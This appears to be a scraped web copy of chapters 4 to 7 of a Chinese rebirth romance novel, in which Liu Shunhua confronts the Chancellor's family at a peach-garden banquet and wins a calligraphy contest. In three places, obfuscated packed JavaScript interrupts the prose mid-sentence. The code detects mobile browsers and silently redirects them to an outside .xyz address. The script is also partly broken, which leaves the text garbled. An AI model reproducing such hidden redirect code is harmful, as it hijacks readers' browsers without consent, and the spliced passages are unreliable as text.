“就是,为了等你,我连瞧美人的机会都错过了。” 贺玄度一收扇子,在邱长临脑袋上敲了一下:“俗,大俗。那些个名门闺秀就会拿腔作调,木头一般,有什么可美的。放着满园子的春色不赏,却瞧那些个蠢东西。” 邱长临揉着脑袋:“你见惯了风月,眼光独到,谁跟你比,我偏就喜欢这些端庄娇艳的。” 贺玄度举起扇子挑了挑头发:“说好了,小爷今日只赏景,你们要去看俗人,不要拉上我。我怕我太出众,会抢了你们的风头。” 一群人哄然大笑。 “贺玄度,就你那名声,你是没有一点数啊。” “你不出丑就要去拜神了,还抢风头。” “我说,你去打听一下,长安城里的世家小姐们,提起来你哪个不是直摇头。” 贺玄度摸着下巴,仰起头洋洋自得,“小爷我的好,你们这群庸人懂什么。昨日出门,我还被一个女子调戏呢。实非我要浪荡,是我这副样貌,实在是太容易招蜂引蝶了。” 邱长临不信,“你,在相府门口,被一个女子调戏?” 贺玄度点头:“千真万确,我两个小厮看着呢。幸亏我跑得快,不然那女子指不定如何纠缠呢。” “真是奇闻,竟还有这样的事。” “那女子定是奇丑无比,不然你为何跑这么快?” 贺玄度略一回想:“长得嘛,倒是很有几分姿色。就是那一身,委实素淡了些,没点儿人气,活像个小寡妇。若是……” 不等他说完,邱长临惊呼:“快看,快看,那边。” 桃林深处,女子衣袂翩翩,青丝袅袅,宛若乘风,玉清裙摆扫过地面落花,花影落在光洁的脸上,拈花一笑,美得仿若画中仙。 柳舜华闻声抬头,正撞上贺玄度的目光。 贺玄度微微一愕,伸手理了理衣襟。 他叹声道:“你到底还是追来了,说吧,你对我究竟有何企图?” 4. 第 4 章 柳舜华对贺玄度确有企图。 可这份企图,更多的是仰慕。 上辈子,她是长嫂,他是小叔。 她只能将他放在心底,妄念一生,便不自觉压下。 这辈子,她是寻常闺阁女,而他,则是高高在上的相府嫡子。 纵使依旧无缘,但至少也要给贺玄度留下个好印象。 柳舜华对着贺玄度略一福身,“公子,昨日认错了人,实在失礼。我那位朋友腿脚有些不便,是以才多有得罪。” 她言辞恳切,举止有度,怎么看都不像是轻浮之人。 邱长临憋不住,大笑了起来。 众人跟着哄笑,“贺玄度,这就是你说的纠缠不休,哈哈哈。” 贺玄度愣了一下,默默打开羽扇,不停地扇着,试图缓解尴尬。 柳舜华自觉应答并无不妥,不知他们为何突然发笑,只是不解地看着贺玄度。 贺玄度觉得有些丢人,忙低头用羽扇遮挡住脸。 “这位便是柳小姐吧,原来你在这里。” 清亮的嗓音响起,伴随着环佩叮当,一群贵女们缓缓从桃林中走出。 走在前面的那人,生得极美,人群中一眼便能瞧见她。 柳舜华对她再熟悉不过,她曾经的小姑,相府幼女贺容暄。 贺容暄身侧,则是长陵侯府嫡女李舒君。 李舒君对着站在前方的贺玄度行礼,“二公子好!” 贺容暄跟着不紧不慢道:“二哥好!” 嘴上说着好,身子却半点也未动,贺容暄一向不喜这个二哥,虚礼都懒得做。 贺玄度拿开羽扇,瞥了贺容暄一眼,转头对着众人道:“这里浊气太甚,走吧。” 贺容暄气极,上前便想要与贺玄度理论。 李舒君一把拉住她,摇了摇头。 待贺玄度一行人走远,贺容暄甩开李舒君,“你干嘛要拉住我,我就看不惯他那张狂的样子。” 李舒君笑道:“你们自家兄妹,在这里吵嚷起来,只会让人看笑话。他那人品性如何,自不用你说,何必呢。” 贺容暄忿忿道:“他算什么东西,若不是祖母疼爱,谁将他当回事,也敢对我甩脸子。” 说完尤不解气,随手折了一枝桃花,狠狠摔在地上。 柳舜华心内冷笑,贺玄度的身份她也配置喙。 丞相贺留善早年曾娶一妻一妾。 正妻乃前太常卿之女万氏,妾室乃他长安求学、微末之时所结识的商户女陈氏。 万氏亡故后,贺留善才将陈氏扶正。 贺玄度乃万氏所生,贺玄晖与贺容暄乃陈氏所生。 若正经论起来,贺玄度才是相府的嫡公子。 贺玄晖同贺容暄都要靠边,她竟还在此大言不惭。 李舒君无奈一笑,转头看向柳舜华。 “柳小姐,方才下人回禀,说你已进了园子,未能去迎,多有怠慢,还望见谅。” 柳舜华见李舒君笑语盈盈,态度温和又谦卑,不觉对她多了几分好感。 她暗想,怪道李舒君能同贺容暄那种刁钻之人相处,她这样温柔包容,任谁都没有不喜欢的理。 她柔柔一笑:“李小姐严重了,承蒙长陵侯府不弃,得以进园赏花,已是不胜感激。” 贺容暄低眉淡淡扫了一眼柳舜华,眸中尽是居高临下的不屑。能同贺玄度在这里攀扯,想来也不是什么正经人。 柳舜华只是对她略一颔首,别过头去。 李舒君将两人微妙的动作尽收眼底,柔声道:“姐妹们都在前面浮霞池,咱们也一同去吧。” 一行人很快便到了浮霞池。 方到池边,林风飒飒,顿时落红簌簌,树上的桃花竟吹下来大半,落得人满身皆是。 众人一阵惊叹,就连贺容暄都忍不住伸手去接飘落的桃花。 柳舜华朝池子里一望,密密匝匝的红花浮在水面之上,飘飘荡荡,果如云霞一般。 “好个浮霞园,不错。” 熟悉的清朗声自岸边而来,柳舜华循声抬头,果然是贺玄度。 远处桃林掩映下,他正躺在一块满是落花的青石上,一手拿着酒壶,一腿悠然屈坐。 无视众人的目光,他随手举起酒壶,仰头畅饮起来。 贺容暄低哼一声:“阴魂不散。” 贺玄度像没看到她一样,对着李舒君遥遥招手,“李小姐,你们家这个园子,是真不错。” 李舒君微笑点头致谢。 落花散尽,众人纷纷抖落身上的桃花,唯恐衣裙之上沾染了颜色。 一个身穿缃衣的贵女指着柳舜华笑道:“你们瞧,她这身衣裳,配着头上落的桃花,竟是多少珠玉钗环都比不上的灵巧生动。” “是啊,我就不该穿这身胭脂裙,同这里的碧桃一比,真是比下去了一大截。” 柳舜华还未应答,贺容暄倒先开了口:“柳小姐这身确实别出心裁,只是……” 她顿了一下,好像很为难的样子,“方才我便想说,只是没机会。今日是长陵侯府宴请宾客,柳小姐这身装扮,只怕是对主人家有些不够重视吧。” 柳舜华眉头一扬,贺容暄这话,分明暗指她刻意装扮得如此素淡,来出风头。 果然,此话一出,方才夸柳舜华的女子沉默下来。她们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14484833|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自接了长陵侯府的帖子,衣裙首饰无不精心挑选,而柳小姐则一身素淡玉清衣裙,只梳一个垂髻,并无任何装饰,的确有些与众不同。 上辈子与贺容暄相处了近三年,柳舜华对她再清楚不过。 她承袭了其母的轻浮习气,处处要强,事事要争。 如今突然站出来一番言语,不过是见方才有人夸赞了她几句,有些不舒服而已。 柳舜华淡笑一声:“贺小姐多虑了,实在是我出身不高,小门小户的,并没有多少闲钱可以拿来装扮,自然比不上各位姐姐端庄娴雅。” 她一番话,对自己的出身毫不避讳,不卑不亢,目光诚挚而不造作,众人听得直点头,再望向她时,明显多了一份欣赏。 李舒君也忙在一旁打圆场:“原是我疏忽,帖子昨日晌午才送去,柳小姐来不及准备也是有的。” 贺容暄却更是不屑,伸手从头上取下一只金步摇,“柳小姐,好歹也是上巳节,我看你如此打扮,实在不忍。今日初见,未能提前备礼,这支步摇送你,还望不要嫌弃。” 她朝着柳舜华递过去,柳舜华下意识地去接。 步摇将要落到柳舜华手上的那刻,贺容暄突然将手翻了过去。 步摇应声落地。 “真是不巧,柳小姐,我这身衣服不便,还望柳小姐屈身捡一下。” 柳舜华瞥了她一眼,原来她是这个打算,想借机羞辱她。 贺容暄此时还是被困在高墙内的闺阁女,到底看不清局势。长陵侯府今日相邀,无疑是要拉拢兄长,否则也不会单独约在正厅相见。长陵侯府为相府办事,此次多半是贺丞相授意。丞相府暗地里拉拢,贺容暄却明里与她为难。她这么做,实在不够明智。 不过也好,贺容暄此举,倒正合她意。 她打定主意,一动不动。 贺容暄一向骄纵,相府上上下下对她无不顺从,世家贵女无不以她为尊。 眼见柳舜华并未如她所愿,反而一脸悠然,她怒不可遏。 “柳小姐,你这是看不上我的步摇了?” 柳舜华垂眸看了眼地上的金步摇,“贺小姐的东西太贵重,我怕是无福消受。” 贺容暄冷笑一声,“柳小姐,我好心赠你步摇,你却如此不识好歹,是故意要和我作对了。你们柳家算什么,也敢不将我们相府放在眼里?” “贺容暄,你在说什么?” 正午的日光洒满桃林,风吹动枝头轻摇,有人从身后桃林中走了出来。 来人一身青袍,肩上落了几朵未及拂去的桃花,更衬得面如冠玉,眉眼温润。 正是柳舜华前世的好夫君,贺玄晖。 5. 第 5 章 贺玄晖身后,站着长陵侯府世子李季方,还有柳桓安。 三人一个温润儒雅,一个锋芒毕露,一个清隽端方,皆是龙章凤姿。桃林之内,贵女们忍不住偷偷打量起来。 柳桓安皱着眉头,不顾众人目光,走到柳舜华身旁,轻声问:“蓁蓁,你没事吧?” 柳舜华摇摇头:“哥哥,没事,放心。” 贺玄晖扫了贺容暄一眼,目光落在一旁的柳舜华身上。 她半侧着一张脸,盈盈而立,花枝稀疏的光影落在她身上,朦朦胧胧。 不知为何,他总觉得这幅场景似曾相识,仿佛在梦里出现过。 贺容暄见他盯着柳舜华,心下更气,瞪眼叫了一声,“大哥。” 贺玄晖回过神,眉头蹙起,沉着脸,“容暄,你在做什么?” 贺容暄撇着嘴,气恼道:“大哥,别人家兄长都知道先关心妹妹,你却凶我。” 贺玄晖知她素来娇惯,如今被他当众喝责,难免心生委屈。先前的怒气顿时消减了大半,心头忍不住一软。 他轻叹一声,对着柳舜华低头躬身道:“柳小姐,真是对不住。容暄她一向心直口快,并无恶意,还请柳小姐不要多想。” 柳舜华抬眸,冷眼瞧着贺玄晖。 如上辈子初见时一样,贺玄晖一举一动皆有世家风范。他眉眼俊朗,眸光总是如此温柔,内敛又沉静,让人忍不住心生欢喜。 若是三年前初见,柳舜华一定心花怒放,再委屈也会一笑而过。 但她已见识过他的冷情,刺骨的寒凉。 贺玄晖的笑刺得她有些眼疼,就连他温润的嗓音,也让她生厌。 她蓦地想起成亲那日,他也是这般,声音温柔干净,却说着最让人寒心的话。 “你我成婚,实非我愿。我……我不想耽搁你。你早些歇息吧,我去书房了。” 想起当年,柳舜华愤恨难平。 当初既不喜欢她,为何不早早拒了这门婚事,非要娶她进门,让她在相府蹉跎三年。 说白了,贺玄晖同贺容暄没什么两样。 贺容暄是明面上的飞扬跋扈,从不将人放在眼里。 贺玄晖则是骨子里的凉薄,从不将人放在心上。 注意到柳舜华的目光,贺玄晖莫名一阵不安,抬头向柳舜华望去。 柳舜华早敛了神色,“贺大公子,我并未感觉贺大小姐有恶意。您这么说,是觉得贺小姐对我有恶意呢,还是觉得我小气。” 她语气轻缓而绵软,轻柔的话语落在别人耳中,像极了小姑娘的嗔怪。 可贺玄晖就是能感受到她暗藏的冰冷。 这种感觉,他说不上来,但他能清晰地感觉得到,这个女子有些讨厌他。 贺玄晖有些焦躁。 “柳小姐,你可千万不能不多想。相信自己没错,就是你想的那个意思,她想羞辱你。” 贺玄度不知什么时候走了过来,正慵懒地斜靠在一株桃树上,有一下没一下地扇着扇子,看着热闹。 贺玄晖眸光一凝,“二弟,不可乱说。” 贺玄度摇着扇子,悠然道:“大哥此言差矣。言必诚信,行必忠正,乃我贺家家训。我这是实话实说,遵从祖宗规矩而已。” 柳舜华忍不住笑了出来,十六岁的贺玄度,还挺有趣。 贺玄度见她朝他笑,收起扇子,得意朝她颔首示意。 李季方是主家,眼见贺玄晖处境尴尬,忙转移话题:“诸位,今日相邀,除赏花宴饮外,还有另一桩事,怕是要劳烦了。” 众人被勾起了兴致,问道:“还有李公子办不了的事。” 李季方指着池边的石碑道:“你们看,这石碑整日风吹日晒,早有些旧了,我便琢磨着要换个新的。可这上面的字,委实让我犯愁。你们也知道,我们祖上都是武将,文墨不通。今日想求诸位一幅墨宝,从中挑选合适的来,还请诸位不吝笔墨。” 在座也有不少喜文弄墨之人,当即附和道:“甚好。” 另有人提议道:“依我看,这浮霞二字就最为贴切,大可不必另寻新词。” 李季方点头:“有理。” 李舒君笑道:“既如此,诸位不妨移步流春榭,我已让人摆好了桌椅笔墨。” 去流春榭的路上,众人很默契地忘了方才之事。 李季方引着贺玄晖同柳桓安走在前面,柳舜华不紧不慢地走在最后。 落在后面的两个姑娘应是看不惯贺容暄,加之方才之事,当着柳舜华的面也不避讳。 “什么求墨宝,不就是捧着贺家。瞧着吧,一会那位又要显摆了。” “上次宫宴,不就是如此,一堆人陪衬着她。偏她的字,实在挑不出毛病,真可气。” 柳舜华脚步微微一滞,贺玄晖与贺容暄字写得如何,她不知晓。 但贺玄度的字,她却再熟悉不过。 飘若游云,自带一种舒朗气象,是真正的仙品。 流春榭背靠青山,一片葱葱茏茏,内里通彻明亮,正是歇脚赏景的好去处。 室内正面临水处摆了一张方桌,笔墨纸砚已经备齐。 一行人依次坐下,贺容暄开口道:“今日这一出有趣,赏花赏墨,极雅。” 众人纷纷点头赞同,独贺玄度在角落里不合时宜地打了个哈欠。 李季方朝着众人道:“方才我已经同贺大公子打了商量,他今日不参与,只负责评鉴。” 众人笑道:“这个好,谁不知道贺大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14484834|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公子写得一手好字。他若下场,我们岂不是要贻笑大方。” 李舒君指着众人笑道:“既如此,你们一个都跑不掉。” 方才夸赞柳舜华的那女子对着李舒君娇声道:“你实在可恨,明知我那一手字……哼,你就是想看我出丑。” 站在她身边的绿衣女子努努嘴,“怕什么,有人替你兜着呢。” 那女子一回味,低头抿嘴一笑。 柳舜华与她们并不相熟,不知她们口中兜底的究竟是何人。 她也不在乎。 眼下她担心的是,她时常临摹贺玄度的字迹,与其有几分相似。 若是被人瞧出来,只怕不好解释。 到时,她少不得要胡乱应付一番。 柳舜华恍神的功夫,已经有三四人写了去,很快便轮到柳桓安。 柳桓安跨步上前坐在椅上,身姿端正,落笔行云流水,一蹴而就。 李季方拿起一看,一声喝彩:“果真人如其字,笔触有力,筋骨丰盈。” 柳桓安自谦道:“哪里哪里,不过是抛砖引玉罢了。” 说完,他不动声色走向柳舜华。 柳舜华的字,他是知道的,若是不想想办法,只怕要出丑。 柳桓安歪头悄声道:“蓁蓁,放心。一会你若不想写,我想办法替你回绝。” 柳舜华摇摇头,随口道:“兄长,你才应当放心,我虽夺不了魁,但绝不至于丢人。” 柳桓安略一吃惊:“你哪来的自信?” 李季方瞅了一圈,目光落在角落里的贺玄度身上。 “贺二公子,请赐墨宝。” 贺玄度懒懒起身,走到长桌前,却未坐下,随手拿起毫笔开始挥墨。 柳舜华来了精神,一双秋水潋滟的双眸静静凝望着贺玄度。 他长身玉立,身姿舒展,随手做起来的动作,都有种让人沉迷的风流不羁。 “兄长,如无意外,你马上就能见到真正的书法了。”柳舜华语气里满是骄傲。 柳桓安瞥了一眼贺玄度,“就他,长安城里有名的纨绔。不是我说,你从哪里看出来的?” 柳舜华有些不快,“你看他握笔的姿势,多随性自然。这样落拓不拘,写出来的字,必定绝妙。” 最后一笔落下,贺玄度顺手将笔扔在桌上。 微风吹动着宣纸,翩然欲飞。 李季方上前,伸手将纸张拿起。 柳舜华瞪大双眼,有生之年,她又能见到贺玄度的真迹了。 李季方缓缓翻转纸张,示向众人。 一瞬间,四野风起,仿佛有什么东西排山倒海席卷而来,世界轰然坍塌。 这状如鸡爬的字,竟然出自贺玄度之手。 6. 第 6 章 柳桓安忍不住低头笑了起来,“这就是你说的绝妙?” 柳舜华嘴角止不住抽搐。 不过笑归笑,柳桓安总算是放心了,有贺玄度垫底,妹妹再差也差不到哪里去。 不单柳桓安,在场剩余未写之人都松了一口气,脸上都带着一种平和的光彩。 贺容暄轻嗤一声:“丢人现眼。” 贺玄度穿过众人,满不在乎地坐回临水长椅上,袍袖一拂,端起面前的酒杯,又自顾自地饮了起来。 “贺玄度,就是个纨绔,最好离他远一点。” “怕什么,有人替你兜着。” …… 柳舜华耳中轰鸣,额头突突跳起,感觉天旋地转。 那个即便在轮椅上也端方自持,一身白袍不染半分烟尘,永远带着清冷荷香,皎皎如月的贺玄度,真成了一个人人鄙夷的纨绔。 “字迹娟秀,却筋骨老健,一看便知是花了功夫的,不愧是贺家小姐。” “贺小姐的字,当真让我等读书人看了都惭愧。” …… 耳边赞誉不绝,柳舜华思绪缓缓回归。 贺容暄被众人夸赞,愈发得意,下意识地仰着头朝柳舜华看去。 作为相府嫡女,贺容暄同贺玄晖一样,自六岁起便师从大儒聂先生。她虽不专学问,却最擅书法,并以此为傲。 她就不信,一个小门小户出身,名不见经传的柳舜华,还能比过她。 柳舜华心乱如麻,压根没回应她的眼神。 倒是柳桓安点头低声道:“早就听闻贺家两兄妹擅诗书,尤其贺小姐,皇后寿辰之日,她一手贺寿书法,惊艳众人。今日一见,果真如此。只可惜……” 贺容暄见柳舜华竟敢无视她,愈加恼怒。 她强忍怒气,嘴角勾笑,眸中尽是挑衅之意:“柳小姐,令兄乃我大安俊才,想必柳小姐学识也是不俗,不知这书法如何?” 贺容暄一旁的绯衣女子附和道:“对啊,柳小姐,眼下可就只剩你了。” 有贺玄度垫底,柳桓安倒也不十分担心,不过妹妹那一手字也没好到哪去。 他还是站了出来,“家妹平素只喜操持舍务琐事,并不擅学问书法,恐怕要让诸位见笑了。” 几人你来我往的,反而吵得柳舜华有些清醒。 她看了看贺容暄,柳眉一扬,“兄长是兄长,我是我。我在家并不专注学问,至于书法,更是不值一提。” 柳舜华此话,似在认输,贺容暄很受用。 她装出大度的做派,朝着众人笑道:“今日不过是玩乐而已,柳小姐放心,即便写得不好,也不会有人取笑你。” 李季方爽朗一笑:“正是,你是女子,又不去做官。写得好那是锦上添花,写得不好也没什么。” 话已至此,柳舜华也不再谦让,款步移至长桌前。 她一手抚袖一手执笔,落笔流畅自然。 上辈子,入相府半年后,她时常难得安眠。 贺玄度说,《黄帝内经》有云:静则神藏,躁则消亡。 若实在忧思,不妨写字静心养神。 在相府数不尽的不眠夜,她都是靠着模仿贺玄度的笔迹度过。 久而久之,她的字虽大有进益,可那颗心却越来越不安稳。 …… 片刻后,柳舜华将笔轻轻搁下,转身站回柳桓安身旁。 柳桓安朝她笑了笑,“许久不曾见你动笔,别的不说,这气势倒是不错。” 李季方上前,还未将纸张拿起,先喝了声“妙”。 方才贺容暄写完,李季方都不曾称赞,如今这情不自禁一声叹,惹得众人有些好奇,纷纷伸长了脖子等着瞧柳舜华的字。 东风乍起,长桌上的纸张被吹得飘飘悠悠,在空中旋转了几圈,缓缓落在贺玄度脚边。 贺玄度像未瞧见一样,仰面将杯中余酒一饮而尽。 忽而余光一瞥,瞧见地上的字,贺玄度匆匆将酒杯放下,伸手便想去捡地上的纸。 靛青锦袍扫过地面,一只手先他一步,缓缓将纸张拾起。 贺玄晖将纸拿在手里,眼中闪过一丝亮光。 “柳小姐师从何人,竟习得这一手好字?” 众人一瞧,字迹婉畅清雅,隽秀逸致,潇散中透着一丝洒脱之感,与“浮霞”两字正契合。 柳桓安也是一脸惊喜,他没料到,妹妹的字与他相比,竟是有过之而无不及。 “如此轻灵洒脱,又开阔舒朗,竟出自女子之手,当真是我一叶障目了。” “如云之浮,如霞之灿,再没比这个更贴切的了。” 一时溢美之词四起。 柳舜华没有去看贺玄晖,而是有意望了一眼贺容暄,谦和一笑:“我不擅书写,不过是自己练着玩罢了,到底缺少技巧,哪里比得上诸位勤学苦练呢。” 贺容暄怒火中烧,柳舜华言下之意,分明是说她随手一写便能胜过自己。 贺玄晖一心在纸上,并未瞧见两人之间的暗流涌动。 “柳小姐过谦了,正是没有多余技巧,才更自然灵动,与浮霞两字最衬。”他顿了顿,接着道:“当属今日魁首。” 贺容暄气红了眼:“兄长,品评字迹,怎可不算技巧,不讲技艺?” 贺玄晖眸色一黯,凝眉道:“容暄,你的字是极好的。可今日是为浮霞池题字,自然以最相合为上。况若论技巧,柳小姐的也不差。” 贺容暄不服气,“什么不差,你们分明就是想……” 贺玄晖厉声喝止:“贺容暄,不要胡闹。” 贺容暄“哼”了一声,眼里泪水打转,起身便朝水榭外走。 李季方忙对着李舒君递了眼色。 李舒君会意,对着众人躬身:“我先失陪,你们尽兴。” 柳舜华心内长舒一口气,看来今日的目的算是达到了。 方一抬头,她就愣住了。 她明显注意到,两道探究的目光。 贺玄晖,大约是她的书法引起了他的兴致。她根本不在乎。 那贺玄度呢? …… 贺容暄这么一闹,众人哪里还有什么兴致,一行人又各自在园子里逛了会,见天色不早,要赶回城中,便散了。 浮霞园门前,车马渐少。 李季方亲自送了柳桓安出来,“柳兄,对不住,今日照顾不周。” 柳桓安客气道:“哪里,世子严重了。” 李季方望向旁边的柳舜华,笑道:“承蒙柳小姐赐字,自是要送上谢礼。寻常谢礼太过俗气,我已差人去取了几坛凉州的葡萄酒,片刻即至,万望莫要推辞。” 柳舜华看了看柳桓安,见他点头,这才笑着躬身致谢。 等了好一会,酒还未送到。 李季方有些尴尬,只朝着两人干笑。 约摸过了一炷香的功夫,才见有人推了车匆匆赶来。 李季方面带愠色:“让你取个酒,怎么如此磨蹭,让柳公子白白等你这许久?” 那下人一脸无奈,絮絮叨叨地解释:“公子,我回庐内取酒之时,不知怎么就碰到了贺二公子。他看上了一只大白鹅,说是长得标致,非要缠着我给他逮上去。我费了九牛二虎之力,好不容易我才……” 不等他说完,李季方摆摆手:“罢了罢了,先把酒搬上再说。” 一切安置妥当,柳桓安与李季方正式拜别,马车这才晃晃悠悠出了庄园。 待车马行至流水处,柳舜华这才道:“我怎么觉得,李世子今日过于殷勤了些?” 兄长此次只是升任了鸿胪寺丞,在长安这个处处勋贵之地,好像并不值得如此兴师动众。 可如今,丞相府亲自出手进行拉拢,长陵侯府又如此谦和,她更加确信,好像事情并没那么简单。 上辈子,她对官场之事也不甚上心,并不清楚兄长此次升任背后的深意。 “连你都看出来了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14484835|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳桓安掀开帘子,望着无尽的春色,面色凝重,“过几天,各地诸侯进京,一应事宜,由我负责。” 柳舜华诧异:“如今是三月,诸侯何故进京?” 柳桓安神色稍变:“自开年来,圣上病重,日益思亲,这才允诸侯进京探病。” 上辈子,睿帝驾崩于元始六年九月。这个时候,只怕身体已经不大好了。睿帝年不过二十,膝下无子,大安正统由何人继承,是他首要考虑的。此次邀诸侯进京,睿帝大有从中试探,选取继承人的意思。 兄长此时被任为鸿胪寺丞,足见睿帝对他的信任与看重。 柳舜华突然记起,睿帝生前亦推法家,只可惜身体每况愈下,诸多政令无法实施。兄长对法家治国,见解精辟,被睿帝赏识在情理之中。她记得清楚,鸿胪寺丞,兄长只做了不到半年。之后,她嫁进相府前,兄长便又高升做了侍御史。 她后知后觉,终于反应过来,原来鸿胪寺丞只是兄长高升的第一步,皇上是想培养他成为亲信。 贺留善为相多年,目光敏锐,此次多半是嗅到了什么,或者已经知晓其中干系,所以才会大力拉拢兄长。 柳舜华如梦初醒。 上辈子,她救下老夫人,相府大张旗鼓送来谢礼,原来还有这层意思。后来,她与贺玄晖定亲,抛开那些阴差阳错,少不得也是相府拉拢兄长的手段。 相府好算计! 柳桓安将窗帘放下,突然问道:“蓁蓁,你干嘛要故意惹怒贺容暄?” 柳舜华收回思绪,笑道:“兄长看出来了。” 柳桓安在她头上轻轻敲了一下,“外人不知道你,我还能不知。桃林内,还有水榭里,两次。” 柳舜华摸了摸头,“今日相府、长陵侯府示好,明晃晃的拉拢,我又不傻,自然看得到。我知兄长不想接受相府笼络,但毕竟初入官场,贸然得罪也不好。可今日,众目睽睽之下,贺容暄当众给我难堪。我是你的亲妹妹,给我难堪,也就是给你难堪。如此一来,你自然要考虑一下相府的诚意。至于要考虑多久,那就另说了。” 柳桓安心下生暖,妹妹这是想替他解围。 他望着柳舜华,笑道:“不得了,以往我只当你是有点小主意,没想到竟这么有想法,怎么以前我都不曾发现?” 柳舜华挽住柳桓安的胳膊,“这叫有其兄必有其妹。我已经十六,不是小孩了,还不允我长进了。” 上辈子,她一直活在父亲与兄长的羽翼之下。一朝柳府失利,她只能眼睁睁看着父兄在朝堂上被打压得抬不起头。父亲终日郁郁,以至疾病缠身。兄长前途尽毁,只能屈居在宅院饮酒度日。 这辈子,她清醒了。 她也有责任守护好父兄,守护好柳家。 柳桓安叹了一口气:“我倒情愿你不长大,一直无忧无虑的。” 柳舜华凑过去,“难道你还想像小时候一样,你读书的时候,我捉个青蛙扔给你?” 柳桓安浑身汗毛直立,照着她的头又是一顿拍:“方觉得你懂事一点,又开始犯浑。” “疼,疼,疼,哥我错了。” 柳桓安放开手,又想到一件事,“你的字,什么时候练得那么好?” 柳舜华眼眸一转:“练得多了呗。其实我写得也没那么好,不过今日发挥得好。还有,举办这个活动,本来就是贺家和长陵侯府有意捧你。他们正怕做得太明显,碰巧我撞了上去,他们顺水推舟,卖你一个面子罢了。” 柳桓安点点头,想了想,还是觉得有些不对。 他正欲追问,马车却慢了下来,缓缓停靠在路边。 柳桓安问道:“怎么回事?” 马车夫隔着帘子回道:“公子,前面挡住了。” 两人撩起车帘一看,不由呆了。 长道之上,青山渺渺,炊烟袅袅。 夕阳之下,贺玄度狂奔在前面,在他身后是……一只大白鹅。 一人一鹅,你追我赶,好不热闹。 7. 第 7 章 柳桓安忍不住直皱眉,这个贺二公子还真是特立独行。 柳舜华眼神也复杂起来。 贺玄度越跑越近,柳桓安思索着要不要打个招呼,或是上前帮忙。 一道人影闪过,贺玄度跳上了柳家的马车。 还未等车内两人做出反应,贺玄度已经抢过马鞭,驾起马车跑了起来。 柳桓安与柳舜华面面相觑,从彼此眼中看到同样的迷茫后,齐齐望向贺玄度。 贺玄度挥动马鞭,马车跑得飞快,与大白鹅擦身而过,一路向前。 大白鹅扑腾着翅膀追了一段,看着马车越跑越远,终于停了下来。 “不好意思,挤一挤?” 晚霞漫天,贺玄度转过身来,孔雀金绣织锦袍越发炫彩夺目,他长眉微扬,眼含笑意。 柳舜华蓦地想起初见时的场景。 那日也似这般,暮云合璧。 她如往常一般闲得无聊,到后院荷花池摘莲蓬。 莲蓬又大又饱满,她摘了两三支,欢喜起身。 一转头,便瞧见了贺玄度。 莲池旁轮椅之上,贺玄度手执一卷旧书,一身青衫爽朗清举。 霞映荷塘,绿波生金,一池荷风冉冉香。 他静静地坐着,眼含笑意,拱手施礼:“嫂嫂好。” …… 望着眼前的贺玄度,柳舜华有些恍惚,不自觉地往旁边挪了挪。 贺玄度弯腰进去便要坐下,柳桓安眼疾手快,侧身坐在柳舜华身旁。 柳桓安客气道:“贺二公子,请。” 贺玄度挑眉一笑,顺势坐在他们对面。 马车还在平稳前行,柳桓安对着贺玄度客气道:“贺二公子,马车简陋,委屈了。” 贺玄度左右瞥了一眼,“是有点。” 柳桓安嘴角抽动,“既如此,不妨停下来等一等,兴许二公子的马车很快就赶上了。” 贺玄度摆摆手:“无碍,凑合一下吧。我的马车被笨丫头弄得一团糟,到处都是鹅毛。” 柳舜华记得,贺玄度出来时,好像并没有带丫头。 她脱口而出:“笨丫头?” 贺玄度点头:“笨丫头,就是我的那个大白鹅。我看它呆头呆脑的,这个名字正适合。” 柳舜华愕然。 笨丫头,是个鹅。 柳桓安用手扶住额头,不忍直视。 他这是造了什么孽,要和这样的人待在同一辆马车里。 贺玄度浑然未觉,“这个笨丫头,太不识好歹。我好心帮它解开绳子,它倒好,恩将仇报,逮住我便咬,幸亏我跑得快。” 柳桓安闭嘴。他怕再同贺玄度多说一句,自己会变成傻子。 柳舜华看着喋喋不休的贺玄度,恍若在梦里。 然而……他实在有些聒噪,柳舜华不忍再看,默默垂下眼眸。 贺玄度见柳桓安并不搭话,转头看向柳舜华。 “柳小姐的字,着实让人惊艳。” 柳舜华心下一动,缓缓抬头。 上辈子,她的字贺玄度从未见过。 她的字,同她隐秘的心思一样,从不敢示于人前。 她道:“你觉得我的字好看?” 贺玄度微微一怔,不知为何,他总觉得,她眼中有些哀伤,还有一丝……期待。 他笑道:“自然,有眼睛的人,都看得出来。” 柳桓安见他与柳舜华搭话,忙挡在她跟前,“贺二公子谬赞了。” 贺玄度越过柳桓安,歪头继续问道:“不知柳小姐师从何人?” 柳舜华咬着嘴唇,“无人,胡乱练习,练得多了而已。” 